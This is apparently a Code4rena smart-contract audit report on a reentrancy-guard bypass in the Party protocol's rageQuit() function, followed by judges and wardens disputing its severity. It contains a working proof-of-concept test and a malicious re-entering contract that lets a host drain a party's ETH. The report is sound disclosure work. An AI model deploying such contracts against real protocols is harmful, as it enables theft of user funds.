Reentrancy guard in `rageQuit()` can be bypassed

[code423n4]

Lines of code

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L293-L353

Vulnerability details

Reentrancy guard in rageQuit() can be bypassed

The reentrancy guard present in the rageQuit() function can be bypassed by host accounts, leading to reentrancy attack vectors and loss of funds.

Impact

The new rageQuit() function can be used by party members to exit their position and obtain their share of the tokens held by the party contract. In order to prevent function reentrancy while sending ETH or transferring ERC20 tokens, the implementation reuses the rageQuitTimestamp variable as a guard to check if the function is being called again while executing.

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L293-L353

293:     function rageQuit(
294:         uint256[] calldata tokenIds,
295:         IERC20[] calldata withdrawTokens,
296:         address receiver
297:     ) external {
298:         // Check if ragequit is allowed.
299:         uint40 currentRageQuitTimestamp = rageQuitTimestamp;
300:         if (currentRageQuitTimestamp != ENABLE_RAGEQUIT_PERMANENTLY) {
301:             if (
302:                 currentRageQuitTimestamp == DISABLE_RAGEQUIT_PERMANENTLY ||
303:                 currentRageQuitTimestamp < block.timestamp
304:             ) {
305:                 revert CannotRageQuitError(currentRageQuitTimestamp);
306:             }
307:         }
308: 
309:         // Used as a reentrancy guard. Will be updated back after ragequit.
310:         delete rageQuitTimestamp;

             ...

349:         // Update ragequit timestamp back to before.
350:         rageQuitTimestamp = currentRageQuitTimestamp;
351: 
352:         emit RageQuit(tokenIds, withdrawTokens, receiver);
353:     }

The implementation deletes the value of rageQuitTimestamp (which sets it to zero) in line 310. The intention is to use this variable to prevent reentrancy, as setting it to zero will block any call due to the check in line 303, block.timestamp will be greater than zero and will lead to the revert in line 305. After NFTs are burned and tokens are transferred, the function restores the original value in line 350.

This reentrancy guard can still be bypassed using setRageQuit(). If execution control is transferred to the attacker, then the attacker can call setRageQuit() to reset the value to anything greater than block.timestamp, allowing the reentrancy on the rageQuit() function. Note that this would require the attacker to be a party host or be in complicity with a party host.

The general scenario to trigger the reentrancy is as follows:

1. User calls rageQuit().
2. ETH or ERC20 transfers control to the attacker. This can be in different forms:
   • ETH transfers to contracts that invoke the receive() or fallback() function.
   • Variations of the ERC20 tokens that have callbacks during transfers (e.g. ERC777)
   • Poisoned ERC20 implementation that receives control during the transfer() call itself.
3. Attacker resets the rageQuitTimestamp by calling setRageQuit(block.timestamp + 1).
4. Attacker reenters the rageQuit() function.

The issue can be exploited to disable the reentrancy guard in the rageQuit() function, leading to further attacks. We will explore a scenario of potential loss of funds in the next section.

Proof of Concept

The following is an adaptation of the test testRageQuit_cannotReenter() present in the PartyGovernanceNFT.t.sol test suite, with minimal variations to enable the described attack.

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

function test_PartyGovernanceNFT_ReentrancyAttack() external {
   address alice = makeAddr("alice");
   address host = makeAddr("host");

   (Party party, , ) = partyAdmin.createParty(
      partyImpl,
      PartyAdmin.PartyCreationMinimalOptions({
            host1: address(this),
            host2: host,
            passThresholdBps: 5100,
            totalVotingPower: 100,
            preciousTokenAddress: address(toadz),
            preciousTokenId: 1,
            rageQuitTimestamp: 0,
            feeBps: 0,
            feeRecipient: payable(0)
      })
   );

   vm.prank(address(this));
   party.setRageQuit(uint40(block.timestamp) + 1);

   // Mint voting NFTs, alice and host have both 50%
   vm.prank(address(partyAdmin));
   uint256 aliceTokenId = party.mint(alice, 50, alice);
   vm.prank(address(partyAdmin));
   uint256 hostTokenId = party.mint(host, 50, host);

   // Host (attacker) deploys malicious ReenteringContract
   ReenteringContract reenteringContract = new ReenteringContract(party, hostTokenId, host);

   // Host sends his NFT to the contract
   vm.prank(host);
   party.transferFrom(host, address(reenteringContract), hostTokenId);

   // Host transfer host feature to contract
   vm.prank(host);
   party.abdicateHost(address(reenteringContract));

   // Simulate there is 1 ETH in the party
   vm.deal(address(party), 1 ether);

   // Alice decides to rage quit

   IERC20[] memory tokens = new IERC20[](2);
   tokens[0] = IERC20(address(reenteringContract));
   tokens[1] = IERC20(ETH_ADDRESS);

   uint256[] memory tokenIds = new uint256[](1);
   tokenIds[0] = aliceTokenId;

   vm.prank(alice);
   party.rageQuit(tokenIds, tokens, alice);

   // Alice has 0 ETH while the host (attacker) has all the funds
   assertEq(alice.balance, 0);
   assertEq(host.balance, 1 ether);
}

contract ReenteringContract is ERC721Receiver {
    Party party;
    uint256 tokenId;
    address attacker;

    constructor(Party _party, uint256 _tokenId, address _attacker) {
        party = _party;
        tokenId = _tokenId;
        attacker = _attacker;
    }

    function balanceOf(address) external returns (uint256) {
        return 1337;
    }

    function transfer(address, uint256) external returns (bool) {
        // Disable reentrancy guard
        party.setRageQuit(uint40(block.timestamp + 1));

        // Return host to attacker
        party.abdicateHost(attacker);

        // Execute attack
        IERC20[] memory tokens = new IERC20[](1);
        tokens[0] = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = tokenId;
        party.rageQuit(tokenIds, tokens, address(this));
        return true;
    }

    fallback() external payable {
        // sends funds to attacker
        payable(attacker).transfer(address(this).balance);
    }
}

Recommendation

Implement a reentrancy guard using a dedicated variable that acts as the flag, such as the one available in the OpenZeppelin contracts library.

Alternatively, if the intention is to reuse the same rageQuitTimestamp variable, set it temporarily to DISABLE_RAGEQUIT_PERMANENTLY instead of zero. This will prevent calling setRageQuit() to reset the rageQuitTimestamp variable while also blocking calls to rageQuit().

Assessed type

Reentrancy

[0xble]

Duplicate of #24, although I think this is higher quality

[c4-judge]

thereksfour marked the issue as primary issue

[thereksfour]

This attack scenario requires the victim to add malicious ERC20 tokens to the withdrawTokens parameter, and since there is not directly compromising user assets (which requires certain external requirements), consider M.

[c4-judge]

thereksfour changed the severity to 2 (Med Risk)

[c4-judge]

thereksfour marked the issue as satisfactory

[c4-sponsor]

0xble marked the issue as sponsor confirmed

[c4-judge]

thereksfour marked the issue as selected for report

[d3e4]

This report does not provide a satisfactory exploit of the reentrancy. The exploit presented here relies on tricking the user into adding a malicious ERC20 token, before the ETH id. This should be considered out of scope for a Medium as it is based on e.g. social engineering. If this could be done the user might as well trick the user into forgetting to add the ETH id, in which case reentrancy is unnecessary, or even simply tricking the user into sending funds to the wrong address.

Most of the duplicates either do not provide an exploit at all, or a similarly invalid one.

32 explicitly admits to not finding any exploit: “I do not see any way the host can abuse this to their advantage which I why I am reporting this as low.”

36 proposes reentering with the beforeTokenTransferHook in an ERC777 to reuse the previous balance before transfer. But this is a reentrancy into the ERC777 token itself rather than in Party! This also presupposes a malicious token and only rewards the attacker with more tokens of his own malicious ERC777. This is not a meaningful exploit.

37 does not suggest any exploit.

The only state variable vulnerable in a reentrancy is shareOfVotingPower. A valid exploit has to find a way to exploit this, in terms of real tokens and without having to social engineer other users. #24 is the only report that does this.

[romeroadrian]

This report does not provide a satisfactory exploit of the reentrancy. The exploit presented here relies on tricking the user into adding a malicious ERC20 token, before the ETH id. This should be considered out of scope for a Medium as it is based on e.g. social engineering. If this could be done the user might as well trick the user into forgetting to add the ETH id, in which case reentrancy is unnecessary, or even simply tricking the user into sending funds to the wrong address.

Most of the duplicates either do not provide an exploit at all, or a similarly invalid one.

32 explicitly admits to not finding any exploit: “I do not see any way the host can abuse this to their advantage which I why I am reporting this as low.”

36 proposes reentering with the beforeTokenTransferHook in an ERC777 to reuse the previous balance before transfer. But this is a reentrancy into the ERC777 token itself rather than in Party! This also presupposes a malicious token and only rewards the attacker with more tokens of his own malicious ERC777. This is not a meaningful exploit.

37 does not suggest any exploit.

The only state variable vulnerable in a reentrancy is shareOfVotingPower. A valid exploit has to find a way to exploit this, in terms of real tokens and without having to social engineer other users. #24 is the only report that does this.

Yes it does, it even does include a full reproducible test which neither of the marked duplicates contain.

[d3e4]

Yes it does, it even does include a full reproducible test which neither of the marked duplicates contain.

The test is in control of Alice. In the real world Alice is not ruled by code, but would have to be convinced through other off-chain (social) means. A "full reproducible test" is as fallible as the code we are auditing; it is not the be-all and end-all of proving issues.

[romeroadrian]

Yes it does, it even does include a full reproducible test which neither of the marked duplicates contain.

The test is in control of Alice. In the real world Alice is not ruled by code, but would have to be convinced through other off-chain (social) means. A "full reproducible test" is as fallible as the code we are auditing; it is not the be-all and end-all of proving issues.

No, it doesn't have to be that way, in fact this is the same concern present in the sponsor's own tests.

[thereksfour]

The reason for considering this issue as M is that bypassing the re-entry guard breaks the assumptions of the protocol, which may be problematic when integrating, and considering this report as best is because it shows an exploitable scenario in the POC (which has some external requirements but is better than other reports)

[d3e4]

What about #32, #36 and #37 then? They don't provide exploits at all where assets or availability of the protocol is at risk. This is Low (which is why they were submitted as Low).

13 and #24 are the only reports where an exploit is found, even though the exploit in #13 is based on an external requirement which by itself is at least as severe as the exploit itself.

[thereksfour]

The attack scenario in #24 has no relevance to the issue (no focus on the compromise caused by bypassing re-entrant guard, more like an attack caused by a special proposal) Also, the core of the issue is bypassing re-entry guard, and even this report does not show a solid attack scenario, so it is reasonable to consider this report as best and other reports as dup

[d3e4]

The attack scenario in #24 has no relevance to the issue (no focus on the compromise caused by bypassing re-entrant guard, more like an attack caused by a special proposal) Also, the core of the issue is bypassing re-entry guard, and even this report does not show a solid attack scenario, so it is reasonable to consider this report as best and other reports as dup

I must strongly contest your conclusion about the content in #24, which explicitly lays out the exploitable vulnerability exposed by the reentrancy, and gives an example exploit.

How is bypassing a reentry guard in itself a Medium? Were it not for #24 and #13 the exploitability of this would have remained unnoticed and the issue would remain Low just like those reports rated it. While I think the exploit in #13 is not in itself a satisfactory Medium exploit, I think it still might be fair to judge it a Medium (just an opinion), the reasoning being that the warden did go beyond the Low unexploitable level and found some way to exploit it. It just happens to be based on farfetched external requirements, but it seems fair to assume that the warden could just as well have found a more reasonable exploit, if so prompted. What’s essential is that the vulnerability was demonstrated exploitable. But I do not believe it is correct to upgrade reports that do not demonstrate any valid exploit and by their own admission should be Low, simply because other reports went the extra step and found a way to exploit it. This is just like how #6 is based on the Medium level issue of distributed funds not being claimable (#22) but found a way to exploit it further at a High severity level.

[thereksfour]

The attack scenario in #24 has no relevance to the issue (no focus on the compromise caused by bypassing re-entrant guard, more like an attack caused by a special proposal) Also, the core of the issue is bypassing re-entry guard, and even this report does not show a solid attack scenario, so it is reasonable to consider this report as best and other reports as dup.

The reason for considering this issue as M is that bypassing the re-entry guard breaks the assumptions of the protocol, which may be problematic when integrating, and considering this report as best is because it shows an exploitable scenario in the POC (which has some external requirements but is better than other reports)

I will reiterate my point.

Also, special proposals are external requirements, and votingPower should be changed by the Authority, not the proposal.

I respect that you disagree with it, but this is the final judgment.